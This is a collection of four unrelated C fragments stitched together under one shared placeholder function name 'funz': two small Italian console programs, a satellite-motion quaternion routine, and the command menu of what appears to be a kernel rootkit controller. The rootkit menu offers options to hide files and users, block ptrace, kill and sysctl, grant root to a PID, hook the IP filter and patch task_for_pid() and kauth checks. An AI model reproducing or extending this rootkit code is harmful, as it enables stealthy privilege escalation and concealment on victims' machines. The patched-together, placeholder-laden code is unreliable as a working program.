int main () { struct dati d; const char src[256] = "batmanandrobin%40yahoo.com"; funz(&d, src ); printa(d.dato, d.lung); return(0); }
int main() { double a; int n; printf("Inserisci N e A: "); scanf("%d%lf", &n, &a); printf("Risultato: %4.2f", funz(a, n)); fflush(stdin); getchar(); return 0; }
static void revolve (float c[3], float mystate[12], float other[12]) { //BEGIN::PROC::revolve /* * Revolving function */ float v[4]; float q[4]; float a[4]; float a2[4]; float asse[3]; float d; float b; float b2; int dir=sp; if (PisRevolving (other)) { dir = revDir (other,c); if (!dir) dir=sp; } PgetAsteroidNormal(asse); v[3]=0; mathVecSubtract (v,c,mystate,3); d=mathVecMagnitude(v, 3); if(d >= 0.3f) { d=0.2355f/d; // (pi/2)*(0.3/distance) } else { d= 1.57f - 2.615f*d; // pi - (pi/2)*(distance/0.25) } // This creates the quaternion // (yeah, a quaternion, that's cool right?) b=d-1.57f; b2=b*b*b; q[3]=(-b + b2/6 - b2*b*b/120); b2=d*d*d; mathVecMul (q,asse,dir*(d - b2/6 + b2*d*d/120)); // v[] is rotated according to the quaternion funz(a2,q,v); mathVecMul(q,q,-1); funz(a,a2,q); //then it's normalized and converted in velocity mathVecNormalize(a, 3); mathVecMul(a,a,0.0232f); ZRSetVelocityTarget(a); q[3]=1; mathVecMul(q,asse,-dir*0.043619f); funz(a2,q,v); mathVecMul(q,q,-1); funz(a,a2,q); ZRSetAttitudeTarget(a); //END::PROC::revolve }
void main_menu() { char str; do { printf("--> "); str = getchar(); switch(str) { set_pid: case '1': { printf("\t--> Enter PID: "); char tmppid[8]; scanf(" %s", tmppid); int pid = atoi(tmppid); if(pid <= 0 || pid > 99999) { printf("\tInvalid pid\n"); break; } execute_cmd(SET_PID, tmppid); pid_is_set = 1; break; } case '2': printf("Anti-ptrace on\n"); execute_cmd(ANTI_PTRACE_ON, NULL); break; case '3': printf("Anti-ptrace off\n"); execute_cmd(ANTI_PTRACE_OFF, NULL); break; case '4': if(pid_is_set == 1) { printf("Anti-kill on\n"); execute_cmd(ANTI_KILL_ON, NULL); } else { printf("You must first set a pid and then run desired command again!\n"); goto set_pid; } break; case '5': { printf("Anti-kill off\n"); execute_cmd(ANTI_KILL_OFF, NULL); break; } case '6': if(pid_is_set == 1) { printf("Anti-sysctl on\n"); execute_cmd(ANTI_SYSCTL_ON, NULL); } else { printf("You must first set a pid and then run desired command again!\n"); goto set_pid; } break; case '7': { printf("Anti-sysctl off\n"); execute_cmd(ANTI_SYSCTL_OFF, NULL); break; } /* case '8': break; case '9': break; */ case 'a': { char *tohide = malloc(256); printf("\t--> Enter file/directory name to hide (Only file/dir name, not path): "); if(scanf(" %256s", tohide) != 1) { printf("Invalid name\n"); break; } unsigned long inputlen = strlen(tohide); if(inputlen == 0 || inputlen >= 255) { printf("Invalid name\n"); break; } int i; for(i = 0; i < inputlen; i++) { if(tohide[i] == '/') { printf("Invalid name\n"); break; } } execute_cmd(HIDE_FILE_ON, tohide); free(tohide); break; } case 'b': printf("Hide file off\n"); execute_cmd(HIDE_FILE_OFF, NULL); break; case 'c': { printf("\t--> Enter PID to give root: "); char pid[8]; scanf(" %s", pid); execute_cmd(GIVE_ROOT, pid); break; } case 'd': printf("IP filter hooked\n"); execute_cmd(HOOK_IPF_ON, NULL); break; case 'e': printf("IP filter unhooked\n"); execute_cmd(HOOK_IPF_OFF, NULL); break; case 'f': printf("Patched task_for_pid()\n"); execute_cmd(PATCH_TASK_FOR_PID, NULL); break; case 'g': printf("Unpatched task_for_pid()\n"); execute_cmd(UNPATCH_TASK_FOR_PID, NULL); break; case 'h': printf("Anti-kauth on\n"); execute_cmd(ANTI_KAUTH_ON, NULL); break; case 'i': printf("Anti-kauth off\n"); execute_cmd(ANTI_KAUTH_OFF, NULL); break; case 'j': printf("Patched resume flag\n"); execute_cmd(PATCH_RESUME_FLAG, NULL); break; case 'k': printf("Unpatched resume flag\n"); execute_cmd(UNPATCH_RESUME_FLAG, NULL); break; case 'l': printf("MSR bit patched\n"); execute_cmd(PATCH_SINGLESTEP, NULL); break; case 'm': printf("MSR bit unpatched\n"); execute_cmd(UNPATCH_SINGLESTEP, NULL); break; case 'n': { char *user_tohide = malloc(32); printf("\t--> Enter user name to hide: "); if(scanf(" %32s", user_tohide) != 1) { printf("Invalid name\n"); break; } unsigned long inputlen = strlen(user_tohide); if(inputlen == 0 || inputlen >= 32) { printf("Invalid name\n"); break; } int i; for(i = 0; i < inputlen; i++) { if(user_tohide[i] == ' ') { printf("Invalid name\n"); break; } } execute_cmd(HIDE_USER_ON, user_tohide); free(user_tohide); break; } case 'o': printf("Hide user off\n"); execute_cmd(HIDE_USER_OFF, NULL); break; case 'z': funz(); break; case '?': funz(); break; case 'q': printf("Quitting...\n"); exit(0); break; case 'x': printf("Quitting...\n"); exit(0); break; default: printf("Invalid selection!\n"); break; } } while(getchar() != '\n'); }